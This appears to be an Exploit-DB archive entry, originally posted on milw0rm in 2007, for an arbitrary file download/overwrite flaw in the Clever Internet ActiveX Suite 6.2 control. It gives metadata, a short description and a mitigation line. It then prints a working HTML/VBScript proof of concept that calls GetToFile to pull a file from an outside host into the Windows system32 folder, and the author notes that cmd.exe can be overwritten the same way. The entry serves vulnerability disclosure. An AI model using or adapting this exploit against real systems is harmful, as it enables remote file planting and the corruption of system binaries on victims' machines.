Clever Internet ActiveX Suite 6.2 (CLINETSUITEX6.OCX) Arbitrary file download/overwrite Exploit

vendor:

Clever Internet ActiveX Suite

by:

shinnai

7.5

CVSS

HIGH

Arbitrary file download/overwrite

CWE

Product Name: Clever Internet ActiveX Suite

Affected Version From: 6.2

Affected Version To: 6.2

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Windows XP Professional SP2 with Internet Explorer 7

2007

Clever Internet ActiveX Suite 6.2 (CLINETSUITEX6.OCX) Arbitrary file download/overwrite Exploit

This exploit allows an attacker to download and overwrite files on a vulnerable system using the "GetToFile" method of the CLINETSUITEX6.OCX ActiveX control. The provided code downloads a text file from a remote server and saves it to the local system. The exploit can be modified to overwrite any file on the system, such as cmd.exe.

Mitigation:

Remove or disable the CLINETSUITEX6.OCX ActiveX control. Ensure that all software using this control is updated to a patched version.

Source

Exploit-DB raw data:

<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-------------------------------------------------------------------------------------------------
 <b>Clever Internet ActiveX Suite 6.2 (CLINETSUITEX6.OCX) Arbitrary file download/overwrite Exploit</b>
 url: http://www.clevercomponents.com/home/news.asp

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.

 <b>This control is marked as
 RegKey Safe for Script: True
 RegKey Safe for Init: True
 Implements IObjectSafety: True
 IDisp Safe:  Safe for untrusted: caller, data
 IPStorage Safe:  Safe for untrusted: caller,data</b>

 Using the "GetToFile" method, you can download everything you want on a pc. This
 exploit just download a txt file on pc, I try to overwrite cmd.exe and it works.
-------------------------------------------------------------------------------------------------

<object classid='clsid:E8F92847-7C21-452B-91A5-49D93AA18F30' id='test' ></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
Sub tryMe()
 
 test.GetToFile "http://www.shinnai.altervista.org/shinnai.txt" ,"c:\windows\system32\shinnai.txt"
 MsgBox("Exploit completed!")

End Sub
</script>

</span>
</code></pre>

# milw0rm.com [2007-07-25]